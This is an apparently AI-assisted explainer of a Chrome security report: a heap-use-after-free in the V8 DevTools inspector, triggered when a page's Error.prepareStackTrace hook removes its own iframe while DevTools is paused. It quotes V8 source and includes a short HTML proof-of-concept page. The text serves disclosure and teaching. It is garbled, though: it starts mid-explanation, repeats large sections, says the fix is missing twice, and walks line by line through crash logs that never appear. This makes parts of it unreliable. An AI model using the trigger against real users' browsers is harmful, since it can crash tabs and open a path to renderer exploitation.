// value-mirror.cc:1807
std::unique_ptr<ValueMirror> ValueMirror::create(v8::Local<v8::Context> context,
                                                 v8::Local<v8::Value> value) {
  [...]
  if (!value->IsObject()) return nullptr;
  v8::Local<v8::Object> object = value.As<v8::Object>();
  [...]
  if (object->IsNativeError()) {
    return std::make_unique<ObjectMirror>(object,
                                          RemoteObject::SubtypeEnum::Error,
                                          descriptionForError(context, object));
  }
  [...]
}

descriptionForError builds the display string, reading .name, .message and .stack from the Error object. The .stack read is where control reaches user JavaScript (value-mirror.cc:305):

C++
// value-mirror.cc:305
String16 descriptionForError(v8::Local<v8::Context> context,
                             v8::Local<v8::Object> object) {
  [...]
  {
    v8::Local<v8::Value> stackValue;
    if (getErrorProperty(context, object, toV8String(isolate, "stack"))
            .ToLocal(&stackValue) && stackValue->IsString()) { [...] }
  }
  [...]
}

getErrorProperty tries to prevent user code execution by checking whether the property is backed by a user-defined getter (value-mirror.cc:261), and the testcase bypasses that check:

C++
// value-mirror.cc:261
v8::MaybeLocal<v8::Value> getErrorProperty(v8::Local<v8::Context> context,
                                           v8::Local<v8::Object> object,
                                           v8::Local<v8::String> name) {
  v8::Isolate* isolate = v8::Isolate::GetCurrent();
  v8::TryCatch tryCatch(isolate);
  v8::MicrotasksScope microtasksScope(context,
                                      v8::MicrotasksScope::kDoNotRunMicrotasks);
  v8::Local<v8::Value> descriptor;
  if (!object->GetOwnPropertyDescriptor(context, name).ToLocal(&descriptor)) {
    tryCatch.Reset();
    return object->Get(context, name);
  }
  if (!descriptor->IsObject()) return object->Get(context, name);

  v8::Local<v8::Object> descriptorObject = descriptor.As<v8::Object>();
  v8::Local<v8::Value> getDescriptor;
  if (!descriptorObject->HasOwnProperty(context, toV8String(isolate, "get"))
           .FromJust()) {
    tryCatch.Reset();
    return object->Get(context, name);
  }
  if (!descriptorObject->Get(context, toV8String(isolate, "get"))
           .ToLocal(&getDescriptor)) {
    tryCatch.Reset();
    return object->Get(context, name);
  }

  if (getDescriptor->IsFunction()) {
    v8::Local<v8::Function> function = getDescriptor.As<v8::Function>();
    if (deepBoundFunction(function)->ScriptId() !=
        v8::UnboundScript::kNoScriptId) {
      return v8::MaybeLocal<v8::Value>();  // skip user-defined getters
    }
  }

  return object->Get(context, name);  // (→ ErrorStackGetter)
}

The function installs a kDoNotRunMicrotasks scope and tries to detect user-defined getters by checking the getter's ScriptId: if it is not kNoScriptId, it belongs to user code and is skipped. However, .stack on a native Error is not a user-defined getter. It is a FunctionTemplate-backed C++ accessor installed by V8 at bootstrap, which carries no script ID. The guard evaluates to false, and the function falls through to object->Get(context, name).

The stack property is installed on every Error subtype's initial map as an AccessorPair backed by a FunctionTemplate (bootstrapper.cc:1582):

C++
// bootstrapper.cc:1582
{  // stack
  DirectHandle<AccessorPair> new_pair = factory->NewAccessorPair();
  new_pair->set_getter(*factory->error_stack_getter_fun_template());
  new_pair->set_setter(*factory->error_stack_setter_fun_template());
  Descriptor d = Descriptor::AccessorConstant(factory->stack_string(),
                                              new_pair, DONT_ENUM);
  initial_map->AppendDescriptor(isolate, &d);
}

The getter template wraps Accessors::ErrorStackGetter (setup-heap-internal.cc:1527):

C++
// setup-heap-internal.cc:1527
// Error.stack accessor callbacks and their SharedFunctionInfos:
{
  function_template = ApiNatives::CreateAccessorFunctionTemplateInfo(
      isolate_, Accessors::ErrorStackGetter, 0,
      SideEffectType::kHasSideEffect);
  [...]
  set_error_stack_getter_fun_template(*function_template);
}

ErrorStackGetter calls ErrorUtils::GetFormattedStack → FormatStackTrace, which invokes the user-supplied Error.prepareStackTrace synchronously (accessors.cc:905):

C++
// accessors.cc:905
void Accessors::ErrorStackGetter(
    const v8::FunctionCallbackInfo<v8::Value>& info) {
  [...]
  if (IsJSObject(*maybe_error_object)) {
    if (!ErrorUtils::GetFormattedStack(isolate,
                                       Cast<JSObject>(maybe_error_object))
             .ToHandle(&formatted_stack)) {
      return;
    }
  }
  [...]
}

The kDoNotRunMicrotasks scope provides no protection here: microtask suppression does not prevent synchronous C++ callbacks from calling into user JavaScript.

Exploitation

Step 1: the minimal testcase

The report's minimal testcase is an iframe whose srcdoc installs a prepareStackTrace hook and then hits a debugger statement inside a function that has a local Error:

HTML
<iframe srcdoc="<script>
setTimeout(function(){
  Error.prepareStackTrace=function(){self.frameElement.remove();return''};
  (function(){var e=new Error;debugger})()
},500)
</script>"></iframe>

Error.prepareStackTrace is replaced with a callback that calls self.frameElement.remove() and returns an empty string. The inner function creates a local Error (var e=new Error) and then executes debugger, which pauses execution in the iframe context.

Step 2: DevTools requests properties while paused

With DevTools open, the report's scenario has DevTools send Runtime.getProperties while paused in the iframe context. getProperties builds property mirrors for the local variables, including the local Error, and calls wrapObjectMirror for each. This is the point where the raw InjectedScript* is live and the wrapping path can reach user JavaScript.

Step 3: the stack read reaches user code

While wrapping the Error, descriptionForError reads .stack. The getErrorProperty guard does not skip the accessor because the native stack accessor has no script ID, so object->Get runs ErrorStackGetter, which calls FormatStackTrace, which invokes the attacker's Error.prepareStackTrace synchronously.

Step 4: the callback frees the context

The callback calls self.frameElement.remove(). This triggers a synchronous frame detach in Blink, which reaches the V8 inspector's context teardown and frees the object. The report's call flow is:

Text
→ V8InspectorImpl::contextDestroyed             (v8-inspector-impl.cc:303)
  → contextCollected                            (v8-inspector-impl.cc:309)
    → discardInspectedContext                   (v8-inspector-impl.cc:441)
      → m_contexts[groupId]->erase(contextId)  // map ref dropped; 2 locals still alive
    ← discardInspectedContext returns           // its shared_ptr dies → refcount 1
  ← contextCollected returns                   // its shared_ptr dies → refcount 0
    → ~InspectedContext                         (inspected-context.cc:105)
      → ~m_injectedScripts                      // unordered_map<int, unique_ptr<InjectedScript>>
        → ~InjectedScript                       ← freed

Step 5: return to the freed object

When prepareStackTrace returns, execution unwinds back through FormatStackTrace → ErrorStackGetter → object->Get → getErrorProperty → descriptionForError → ValueMirror::create, and arrives back in wrapObject (injected-script.cc:610):

C++
// injected-script.cc:610
Response InjectedScript::wrapObject(...) {
  [...]
  std::unique_ptr<ValueMirror> mirror = ValueMirror::create(context, value);  // returns here
  if (!mirror) return Response::InternalError();
  return wrapObjectMirror(*mirror, ...);  // method call on freed `this`
}

wrapObjectMirror reads m_customPreviewEnabled and m_sessionId from the freed object, then dereferences m_context (injected-script.cc:623):

C++
// injected-script.cc:623
Response InjectedScript::wrapObjectMirror(...) {
  int customPreviewEnabled = m_customPreviewEnabled;
  int sessionId = m_sessionId;
  v8::Local<v8::Context> context = m_context->context();  // UAF: this and m_context freed

This causes a re-use of unowned memory behind the freed InjectedScript object.

Step 6: the crash

Under ASan the result is a heap-use-after-free report. The key lines from the crash state:

The freed region is described as follows:

The allocation stack shows the object was created by InspectedContext::createInjectedScript via findInjectedScript, reached from V8DebuggerAgentImpl::currentCallFrames during didPause:

The ASan report also notes the MiraclePtr status:

Text
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.

Root cause

The defect is an ownership mismatch. findInjectedScript holds the InspectedContext alive only through a local shared_ptr, then hands out a raw InjectedScript* that is owned by that context. The caller keeps the raw pointer in InjectedScript::Scope without any reference that would keep the context alive. Any wrapping operation that can synchronously re-enter user JavaScript while the raw pointer is live can therefore destroy the context, and with it the InjectedScript, before the caller uses it.

The existing defence in getErrorProperty is a script-ID check intended to skip user-defined getters. It does not cover native accessors installed through FunctionTemplate, such as the stack accessor on Error, because those carry no script ID. The kDoNotRunMicrotasks scope does not help either, since the escape is a synchronous C++ callback into Error.prepareStackTrace, not a microtask. The report's testcase bypasses the guard exactly this way.

Impact

The report describes the freed allocation as a renderer-heap object reclaimable from controlled JavaScript, exploitable for renderer code execution with a crafted vtable. The crash is in the renderer process. The precondition is that DevTools is open and the inspector is wrapping values in the affected context, as happens when it sends Runtime.getProperties while paused.

Fix

The report does not describe a fix. The report does not describe a fix.

Variants to test

  • Other wrapping entry points that can reach user JavaScript while a raw InjectedScript* is live, such as wrapObject and the direct wrapObjectMirror calls in getProperties. A positive result is a crash in wrapObjectMirror with the same freed-region pattern.
  • Other native accessors installed through FunctionTemplate that the script-ID guard does not skip. A positive result is a synchronous callback into user code from getErrorProperty or a similar helper.
  • Other synchronous callbacks that tear down the inspected context, beyond self.frameElement.remove(). A positive result is the ~InspectedContext → ~InjectedScript free chain appearing in the ASan free stack.
  • The same pattern in other inspector paths that hold a raw pointer obtained from a shared_ptr-scoped lookup. A positive result is a use-after-free report where the allocation and free stacks both pass through the inspector's context bookkeeping.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

A security researcher found a bug in Chrome's developer tools. When DevTools is open and the page is paused, Chrome has to look at the variables in your code and describe them so the DevTools window can show them. One of those descriptions can accidentally run a piece of your own JavaScript. That piece of JavaScript can delete the page's frame, which makes Chrome throw away some internal bookkeeping. When the JavaScript finishes, Chrome carries on using that bookkeeping as if it were still there. It is reading memory that has already been freed. That kind of bug is called a use-after-free, and it can crash the browser tab. The report describes the freed memory as reclaimable from controlled JavaScript and exploitable for renderer code execution with a crafted vtable.

This write-up walks through the report from the beginning: what the pieces are, how the researcher found the problem, how the small test page triggers it, and what the crash log shows. Every code block below is copied from the report exactly as it appears there.

The pieces involved

Before the bug makes sense, you need to know a few names.

  • Chrome is the browser. It runs each web page in a separate process called the renderer, so a crash in one tab does not take down the whole browser.
  • V8 is the JavaScript engine inside Chrome. It is the program that reads and runs the JavaScript on a web page.
  • DevTools is the panel you open with F12 or the browser menu. It lets you inspect a page, watch variables, set breakpoints and step through code.
  • The Chrome DevTools Protocol (CDP) is the language DevTools and the browser use to talk to each other. DevTools sends commands such as "give me the properties of this object", and the browser sends back answers. A protocol domain is a named group of related commands; Runtime is the group that deals with running JavaScript and looking at values.
  • The V8 inspector is the part of V8 that implements those commands. When DevTools asks about a JavaScript value, the inspector turns it into a RemoteObject, which is a description of the value that can be sent over the protocol and displayed in the DevTools window.
  • InjectedScript is the inspector object that does this wrapping and expression evaluation. There is one per debugging session, tied to one JavaScript context (roughly, one page or frame).
  • InspectedContext is the inspector's record of a JavaScript context. It owns every InjectedScript belonging to that context.

An everyday comparison: think of InspectedContext as a folder, and InjectedScript as a sheet of paper inside it. If the folder is thrown away, the sheet goes with it. Anyone still holding a note that says "the sheet is in that folder" now has a note pointing at nothing.

The bug in one sentence

The report describes a heap-use-after-free in InjectedScript::wrapObjectMirror. The InjectedScript is freed while it is still being used, because the InspectedContext that owns it is destroyed during a synchronous JavaScript callback that the wrapping code itself triggers. The freed allocation is a renderer-heap object that the report describes as reclaimable from controlled JavaScript and exploitable for renderer code execution with a crafted vtable.

A heap is the area of memory a program uses for objects it creates while running. Use-after-free means the program keeps using a piece of memory after it has handed it back. A vtable is a table of function addresses that a program uses to call the right method on an object; if an attacker can control the memory where that table is read from, they can redirect those calls.

The setup

The report gives this environment:

  • Chrome Version: 149.0.7779.0 (Developer Build with AddressSanitizer) (arm64)
  • Operating System: macOS Version 15.6 (Build 24G84)
  • Crash type: renderer process

AddressSanitizer, or ASan, is a tool built into special developer builds of Chrome. It watches memory and shouts loudly the moment a program touches memory it has already freed. Normal Chrome builds do not have it, which is why the researcher used a developer build.

The reproduction needs DevTools open and a page served locally. The report's steps are:

  1. python server.py
  2. Open DevTools in Chrome
  3. Navigate to localhost:8080/poc.html

The report does not include the contents of server.py.

The expectation stated is an instant crash under ASan (Sad Tab), 100% reliable. "Sad Tab" is the grey page Chrome shows when a tab's process has crashed.

Finding it

The researcher's starting point is the ownership model of InjectedScript. Instances are stored as unique_ptr values in InspectedContext::m_injectedScripts (inspected-context.h:86):

C++
// inspected-context.h:70
class InspectedContext {
  [...]
 private:
  [...]
  std::unordered_map<int, std::unique_ptr<InjectedScript>> m_injectedScripts;  // line 86
  [...];
};

Line by line:

  • class InspectedContext { starts the definition of the context record.
  • std::unordered_map<int, std::unique_ptr<InjectedScript>> m_injectedScripts; is a lookup table that maps a number (a session id) to an InjectedScript. The unique_ptr part is the important bit: it means the table is the sole owner of each InjectedScript. When the table is destroyed, every InjectedScript in it is destroyed too. There is no sharing.

The inspector session obtains a raw pointer to the script through findInjectedScript (v8-inspector-session-impl.cc:229):

C++
// v8-inspector-session-impl.cc:229
Response V8InspectorSessionImpl::findInjectedScript(
    int contextId, InjectedScript*& injectedScript) {
  injectedScript = nullptr;
  std::shared_ptr<InspectedContext> context =       // local shared_ptr
      m_inspector->getContext(m_contextGroupId, contextId);
  if (!context)
    return Response::ServerError("Cannot find context with specified id");
  injectedScript = context->getInjectedScript(m_sessionId);
  if (!injectedScript) {
    injectedScript = context->createInjectedScript(m_sessionId);
    [...]
  }
  return Response::Success();
}  // shared_ptr destroyed here — no owner remains

Line by line:

  • The function takes a context id and a place to write the resulting pointer.
  • std::shared_ptr<InspectedContext> context = ... fetches the context. A shared_ptr is a smart pointer that keeps a count of how many copies exist; the object is only destroyed when the last copy goes away. This local copy is one such keeper.
  • If no context is found, it returns an error.
  • It looks up the InjectedScript for this session, and creates one if there is none yet.
  • It returns success. The comment marks the key moment: when the function ends, the local shared_ptr is destroyed, and if it was the last one, nothing keeps the context alive any more.

The shared_ptr<InspectedContext> lives only for the duration of this function. The caller receives a raw InjectedScript* and stores it in the Scope object (injected-script.h:174):

C++
// injected-script.h:78
class InjectedScript final {
  [...]
  class Scope {  // line 154
    [...]
   protected:
    V8InspectorImpl* m_inspector;
    InjectedScript* m_injectedScript;   // raw pointer — no shared_ptr<InspectedContext>
    [...];
  };
  [...];
};

Line by line:

  • class InjectedScript final { starts the definition of the wrapping object.
  • class Scope { is a small helper object that marks "I am using an InjectedScript right now".
  • V8InspectorImpl* m_inspector; is a plain pointer to the inspector.
  • InjectedScript* m_injectedScript; is a plain pointer to the script. The comment spells out the problem: it is a raw pointer, and there is no shared_ptr<InspectedContext> here to keep the owner alive.

A raw pointer is just a memory address with no ownership attached. It does not keep anything alive; it only says where something was at the moment it was written down.

Once findInjectedScript returns, nothing keeps the InspectedContext alive. Because InjectedScript is unique_ptr-owned by InspectedContext, destroying the context frees the InjectedScript with it. The vulnerability window is any wrapping operation that can reach user JavaScript while the raw InjectedScript* is live. wrapObject is one such site (injected-script.cc:610):

C++
// injected-script.cc:610
Response InjectedScript::wrapObject(
    v8::Local<v8::Value> value, const String16& groupName,
    const WrapOptions& wrapOptions,
    v8::MaybeLocal<v8::Value> customPreviewConfig, int maxCustomPreviewDepth,
    std::unique_ptr<protocol::Runtime::RemoteObject>* result) {
  v8::Local<v8::Context> context = m_context->context();  // valid use
  v8::Context::Scope contextScope(context);
  std::unique_ptr<ValueMirror> mirror = ValueMirror::create(context, value);  // ← sync JS entry
  if (!mirror) return Response::InternalError();
  return wrapObjectMirror(*mirror, groupName, wrapOptions, customPreviewConfig,
                          maxCustomPreviewDepth, result);  // ← UAF site
}

Line by line:

  • The function receives a JavaScript value and options describing how to wrap it, plus a place to store the result.
  • m_context->context() reads the JavaScript context from the InjectedScript. At this point the object is still alive, so this is a valid use.
  • v8::Context::Scope contextScope(context); tells V8 "work inside this context for now".
  • ValueMirror::create(context, value) builds a description of the value. The comment marks this as a synchronous entry into JavaScript: while building the description, V8 can call back into the page's own code.
  • If no description could be built, it returns an internal error.
  • wrapObjectMirror(...) is then called on this. The comment marks this as the use-after-free site: if the JavaScript above destroyed the context, this is already freed.

The PoC exercises a scenario where DevTools sends Runtime.getProperties while paused in the iframe context. getProperties builds property mirrors for the paused scope's local variables and then calls wrapObjectMirror directly for each (injected-script.cc:450):

C++
// injected-script.cc:440
for (const PropertyMirror& mirror : mirrors) {
  [...]
  if (mirror.value) {
    Response response = wrapObjectMirror(
        *mirror.value, groupName, wrapOptions, v8::MaybeLocal<v8::Value>(),
        kMaxCustomPreviewDepth, &remoteObject);
    [...];
  }
  [...];
}

Line by line:

  • for (const PropertyMirror& mirror : mirrors) loops over every property of the paused scope.
  • if (mirror.value) checks that this property has a value worth wrapping.
  • wrapObjectMirror(...) wraps that value directly. This is the same function that later crashes, reached from a different path.

wrapObjectMirror calls ValueMirror::getProperties to enumerate the object's properties. Inside that loop, each property's value mirror is created via ValueMirror::create (value-mirror.cc:1613):

C++
// value-mirror.cc:1613
if (!descriptor.value.IsEmpty()) {
  valueMirror = ValueMirror::create(context, descriptor.value);  // ← escape point
}

Line by line:

  • if (!descriptor.value.IsEmpty()) checks that the property actually has a value.
  • ValueMirror::create(context, descriptor.value) builds a description of that value. The comment calls it the escape point: this is where the inspector can end up running page code.

For the local Error variable, descriptor.value is the Error object. ValueMirror::create dispatches to descriptionForError for IsNativeError() values (value-mirror.cc:1807):

C++
// value-mirror.cc:1807
std::unique_ptr<ValueMirror> ValueMirror::create(v8::Local<v8::Context> context,
                                                 v8::Local<v8::Value> value) {
  [...]
  if (!value->IsObject()) return nullptr;
  v8::Local<v8::Object> object = value.As<v8::Object>();
  [...]
  if (object->IsNativeError()) {
    return std::make_unique<ObjectMirror>(object,
                                          RemoteObject::SubtypeEnum::Error,
                                          descriptionForError(context, object));
  }
  [...];
}

Line by line:

  • The function takes a context and a value.
  • if (!value->IsObject()) return nullptr; ignores values that are not objects, such as plain numbers.
  • value.As<v8::Object>() treats the value as an object.
  • if (object->IsNativeError()) checks whether it is a built-in JavaScript Error.
  • If it is, it builds an ObjectMirror marked as an Error, and gets the display text from descriptionForError. That helper is where the trouble starts.

descriptionForError builds the display string, reading .name, .message and .stack from the Error object. The .stack read is where control reaches user JavaScript (value-mirror.cc:305):

C++
// value-mirror.cc:305
String16 descriptionForError(v8::Local<v8::Context> context,
                             v8::Local<v8::Object> object) {
  [...]
  {
    v8::Local<v8::Value> stackValue;
    if (getErrorProperty(context, object, toV8String(isolate, "stack"))
            .ToLocal(&stackValue) && stackValue->IsString()) { [...] }
  }
  [...];
}

Line by line:

  • The function takes a context and an Error object.
  • getErrorProperty(context, object, toV8String(isolate, "stack")) asks for the Error's stack property, which normally holds the text of the call stack (the list of functions that led to the error).
  • .ToLocal(&stackValue) stores the result, and stackValue->IsString() checks it is text.
  • The [...] hides the rest of the formatting work.

getErrorProperty tries to prevent user code execution by checking whether the property is backed by a user-defined getter (value-mirror.cc:261), and the testcase bypasses that check:

C++
// value-mirror.cc:261
v8::MaybeLocal<v8::Value> getErrorProperty(v8::Local<v8::Context> context,
                                           v8::Local<v8::Object> object,
                                           v8::Local<v8::String> name) {
  v8::Isolate* isolate = v8::Isolate::GetCurrent();
  v8::TryCatch tryCatch(isolate);
  v8::MicrotasksScope microtasksScope(context,
                                      v8::MicrotasksScope::kDoNotRunMicrotasks);
  v8::Local<v8::Value> descriptor;
  if (!object->GetOwnPropertyDescriptor(context, name).ToLocal(&descriptor)) {
    tryCatch.Reset();
    return object->Get(context, name);
  }
  if (!descriptor->IsObject()) return object->Get(context, name);

  v8::Local<v8::Object> descriptorObject = descriptor.As<v8::Object>();
  v8::Local<v8::Value> getDescriptor;
  if (!descriptorObject->HasOwnProperty(context, toV8String(isolate, "get"))
           .FromJust()) {
    tryCatch.Reset();
    return object->Get(context, name);
  }
  if (!descriptorObject->Get(context, toV8String(isolate, "get"))
           .ToLocal(&getDescriptor)) {
    tryCatch.Reset();
    return object->Get(context, name);
  }

  if (getDescriptor->IsFunction()) {
    v8::Local<v8::Function> function = getDescriptor.As<v8::Function>();
    if (deepBoundFunction(function)->ScriptId() !=
        v8::UnboundScript::kNoScriptId) {
      return v8::MaybeLocal<v8::Value>();  // skip user-defined getters
    }
  }

  return object->Get(context, name);  // (→ ErrorStackGetter)
}

Line by line:

  • v8::Isolate* isolate = v8::Isolate::GetCurrent(); gets the current V8 isolate, which is the engine instance that runs one group of JavaScript contexts.
  • v8::TryCatch tryCatch(isolate); sets up a safety net so an exception thrown by page code does not escape.
  • v8::MicrotasksScope microtasksScope(context, v8::MicrotasksScope::kDoNotRunMicrotasks); says "do not run queued microtasks while we are here". Microtasks are small JavaScript jobs that V8 normally runs at certain points; this setting suppresses them.
  • object->GetOwnPropertyDescriptor(context, name) asks for the property's descriptor, which is the object that describes how the property is defined (its value, or its getter and setter).
  • If that fails, or the descriptor is not an object, the function simply reads the property with object->Get(context, name).
  • descriptorObject->HasOwnProperty(context, toV8String(isolate, "get")) checks whether the descriptor has a get entry, meaning the property is defined by a getter function.
  • If it does, descriptorObject->Get(...) fetches that getter.
  • if (getDescriptor->IsFunction()) checks the getter is a function, then deepBoundFunction(function)->ScriptId() asks which script the function came from.
  • if (... != v8::UnboundScript::kNoScriptId) means "if this function belongs to a real script", i.e. it is page code. In that case the function returns an empty result, which the comment describes as skipping user-defined getters.
  • Otherwise it falls through to object->Get(context, name), with the comment pointing at ErrorStackGetter.

A getter is a function that runs automatically when someone reads a property. A script id is a number V8 gives to each piece of JavaScript it has compiled; code that came from a web page has one, while built-in machinery does not.

The function installs a kDoNotRunMicrotasks scope and tries to detect user-defined getters by checking the getter's ScriptId: if it is not kNoScriptId, it belongs to user code and is skipped. However, .stack on a native Error is not a user-defined getter. It is a FunctionTemplate-backed C++ accessor installed by V8 at bootstrap, which carries no script ID. The guard evaluates to false, and the function falls through to object->Get(context, name).

A FunctionTemplate is V8's way of describing a built-in function or property accessor written in C++, the language Chrome itself is written in. Bootstrap is the startup phase where V8 sets up all the built-in JavaScript objects such as Error.

The stack property is installed on every Error subtype's initial map as an AccessorPair backed by a FunctionTemplate (bootstrapper.cc:1582):

C++
// bootstrapper.cc:1582
{  // stack
  DirectHandle<AccessorPair> new_pair = factory->NewAccessorPair();
  new_pair->set_getter(*factory->error_stack_getter_fun_template());
  new_pair->set_setter(*factory->error_stack_setter_fun_template());
  Descriptor d = Descriptor::AccessorConstant(factory->stack_string(),
                                              new_pair, DONT_ENUM);
  initial_map->AppendDescriptor(isolate, &d);
}

Line by line:

  • factory->NewAccessorPair() creates a pair holding a getter and a setter.
  • set_getter(...) and set_setter(...) fill the pair with the built-in functions for reading and writing stack.
  • Descriptor::AccessorConstant(...) builds a property descriptor for the name stack, marked DONT_ENUM so it does not show up in normal property listings.
  • initial_map->AppendDescriptor(isolate, &d); adds that descriptor to the template that every new Error is created from.

The getter template wraps Accessors::ErrorStackGetter (setup-heap-internal.cc:1527):

C++
// setup-heap-internal.cc:1527
// Error.stack accessor callbacks and their SharedFunctionInfos:
{
  function_template = ApiNatives::CreateAccessorFunctionTemplateInfo(
      isolate_, Accessors::ErrorStackGetter, 0,
      SideEffectType::kHasSideEffect);
  [...]
  set_error_stack_getter_fun_template(*function_template);
}

Line by line:

  • ApiNatives::CreateAccessorFunctionTemplateInfo(...) builds a template that points at the C++ function Accessors::ErrorStackGetter.
  • SideEffectType::kHasSideEffect tells V8 that calling this function can change things, so it must not be optimised away or reordered.
  • set_error_stack_getter_fun_template(*function_template); stores the template so the bootstrap code above can use it.

ErrorStackGetter calls ErrorUtils::GetFormattedStack → FormatStackTrace, which invokes the user-supplied Error.prepareStackTrace synchronously (accessors.cc:905):

C++
// accessors.cc:905
void Accessors::ErrorStackGetter(
    const v8::FunctionCallbackInfo<v8::Value>& info) {
  [...]
  if (IsJSObject(*maybe_error_object)) {
    if (!ErrorUtils::GetFormattedStack(isolate,
                                       Cast<JSObject>(maybe_error_object))
             .ToHandle(&formatted_stack)) {
      return;
    }
  }
  [...];
}

Line by line:

  • The function receives the arguments of the property read.
  • if (IsJSObject(*maybe_error_object)) checks the thing being read is a JavaScript object.
  • ErrorUtils::GetFormattedStack(...) builds the stack text. If that fails, the function returns early.
  • The [...] hides the rest.

Error.prepareStackTrace is a hook: a function the page can assign, which V8 calls whenever it needs to turn a stack into text. Because the inspector reads .stack while wrapping the Error, and the built-in getter calls prepareStackTrace, the page's own code runs in the middle of the inspector's work. The kDoNotRunMicrotasks scope provides no protection here: microtask suppression does not prevent synchronous C++ callbacks from calling into user JavaScript.

Exploitation

Step 1: the minimal testcase

The report's minimal testcase is an iframe whose srcdoc installs a prepareStackTrace hook and then hits a debugger statement inside a function that has a local Error:

HTML
<iframe srcdoc="<script>
setTimeout(function(){
  Error.prepareStackTrace=function(){self.frameElement.remove();return''};
  (function(){var e=new Error;debugger})()
},500)
</script>"></iframe>

Line by line:

  • <iframe srcdoc="..."> creates a frame inside the page. srcdoc lets you put the frame's HTML directly in an attribute instead of loading a separate file.
  • setTimeout(function(){ ... },500) waits 500 milliseconds before running the code.
  • Error.prepareStackTrace=function(){self.frameElement.remove();return''}; replaces the stack-formatting hook with a function that removes the frame from the page and returns an empty string.
  • (function(){var e=new Error;debugger})() creates a local Error named e and then executes a debugger statement. A debugger statement tells DevTools to pause execution there, as if a breakpoint had been hit.

Step 2: DevTools requests properties while paused

With DevTools open, the report's scenario has DevTools send Runtime.getProperties while paused in the iframe context. getProperties builds property mirrors for the local variables, including the local Error, and calls wrapObjectMirror for each. This is the point where the raw InjectedScript* is live and the wrapping path can reach user JavaScript.

Step 3: the stack read reaches user code

While wrapping the Error, descriptionForError reads .stack. The getErrorProperty guard does not skip the accessor because the native stack accessor has no script ID, so object->Get runs ErrorStackGetter, which calls FormatStackTrace, which invokes the attacker's Error.prepareStackTrace synchronously.

Step 4: the callback frees the context

The callback calls self.frameElement.remove(). This triggers a synchronous frame detach in Blink, which reaches the V8 inspector's context teardown and frees the object. Blink is Chrome's rendering engine, the part that turns HTML and CSS into a page. The report's call flow is:

Text
→ V8InspectorImpl::contextDestroyed             (v8-inspector-impl.cc:303)
  → contextCollected                            (v8-inspector-impl.cc:309)
    → discardInspectedContext                   (v8-inspector-impl.cc:441)
      → m_contexts[groupId]->erase(contextId)  // map ref dropped; 2 locals still alive
    ← discardInspectedContext returns           // its shared_ptr dies → refcount 1
  ← contextCollected returns                   // its shared_ptr dies → refcount 0
    → ~InspectedContext                         (inspected-context.cc:105)
      → ~m_injectedScripts                      // unordered_map<int, unique_ptr<InjectedScript>>
        → ~InjectedScript                       ← freed

Line by line:

  • contextDestroyed is called because the frame is going away.
  • It calls contextCollected, which calls discardInspectedContext.
  • erase(contextId) removes the context from the inspector's map. The comment notes that two local shared_ptr copies are still alive, so the object is not destroyed yet.
  • As each function returns, its local shared_ptr dies. The comment tracks the reference count going from 1 to 0.
  • When the count reaches 0, ~InspectedContext runs, which destroys m_injectedScripts, which destroys the InjectedScript. The arrow marks the free.

Step 5: return to the freed object

When prepareStackTrace returns, execution unwinds back through FormatStackTrace → ErrorStackGetter → object->Get → getErrorProperty → descriptionForError → ValueMirror::create, and arrives back in wrapObject (injected-script.cc:610):

C++
// injected-script.cc:610
Response InjectedScript::wrapObject(...) {
  [...]
  std::unique_ptr<ValueMirror> mirror = ValueMirror::create(context, value);  // returns here
  if (!mirror) return Response::InternalError();
  return wrapObjectMirror(*mirror, ...);  // method call on freed `this`
}

Line by line:

  • ValueMirror::create(context, value) is the call that ran the page's code. It now returns.
  • if (!mirror) return Response::InternalError(); handles the case where no description was produced.
  • return wrapObjectMirror(*mirror, ...); calls a method on this. The comment says it plainly: this has already been freed.

wrapObjectMirror reads m_customPreviewEnabled and m_sessionId from the freed object, then dereferences m_context (injected-script.cc:623):

C++
// injected-script.cc:623
Response InjectedScript::wrapObjectMirror(...) {
  int customPreviewEnabled = m_customPreviewEnabled;
  int sessionId = m_sessionId;
  v8::Local<v8::Context> context = m_context->context();  // UAF: this and m_context freed

Line by line:

  • m_customPreviewEnabled and m_sessionId are fields read from the object. Reading them from freed memory is already a use-after-free.
  • m_context->context() follows a pointer stored in the freed object. The comment marks this as the use-after-free: both this and m_context have been freed.

This causes a re-use of unowned memory behind the freed InjectedScript object.

Step 6: the crash

Under ASan the result is a heap-use-after-free report. The key lines from the crash state:

Line by line:

  • The first line says ASan caught a heap-use-after-free at a specific memory address.
  • READ of size 1 means the program tried to read one byte from that address.
  • The numbered lines are the call stack, from the innermost call outwards. wrapObjectMirror is where the bad read happened, called from getProperties, which was reached through the protocol dispatcher when DevTools sent its command.

The freed region is described as follows:

Line by line:

  • The first line says the bad address sits 200 bytes into a 208-byte block of memory.
  • The stack below shows who freed it. Reading from the bottom up: RemoveOperationCallback is the page calling remove(); RemoveChild and WillRemoveChild are Blink removing the element; DisconnectContentFrame, Frame::Detach, ClearForClose and DisposeContext tear the frame down; ContextWillBeDestroyed tells the inspector; contextCollected drops the last reference; ~InspectedContext destroys the context; ~__hash_table destroys the map of scripts; and the InjectedScript memory is released.

The allocation stack shows the object was created by InspectedContext::createInjectedScript via findInjectedScript, reached from V8DebuggerAgentImpl::currentCallFrames during didPause:

Line by line:

  • operator new is the C++ allocation call that reserved the memory.
  • createInjectedScript created the InjectedScript inside it.
  • findInjectedScript is the function that handed out the raw pointer.
  • currentCallFrames and didPause show this happened when the debugger paused at the debugger statement.

The ASan report also notes the MiraclePtr status:

Text
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.

Line by line:

  • MiraclePtr is a Chrome defence that makes freed memory harder to reuse by an attacker.
  • NOT PROTECTED means this particular object was not covered by it.
  • The last line says the crash would still be exploitable even with that defence in place.

Root cause

The defect is an ownership mismatch. findInjectedScript holds the InspectedContext alive only through a local shared_ptr, then hands out a raw InjectedScript* that is owned by that context. The caller keeps the raw pointer in InjectedScript::Scope without any reference that would keep the context alive. Any wrapping operation that can synchronously re-enter user JavaScript while the raw pointer is live can therefore destroy the context, and with it the InjectedScript, before the caller uses it.

The existing defence in getErrorProperty is a script-ID check intended to skip user-defined getters. It does not cover native accessors installed through FunctionTemplate, such as the stack accessor on Error, because those carry no script ID. The kDoNotRunMicrotasks scope does not help either, since the escape is a synchronous C++ callback into Error.prepareStackTrace, not a microtask. The report's testcase bypasses the guard exactly this way.

Impact

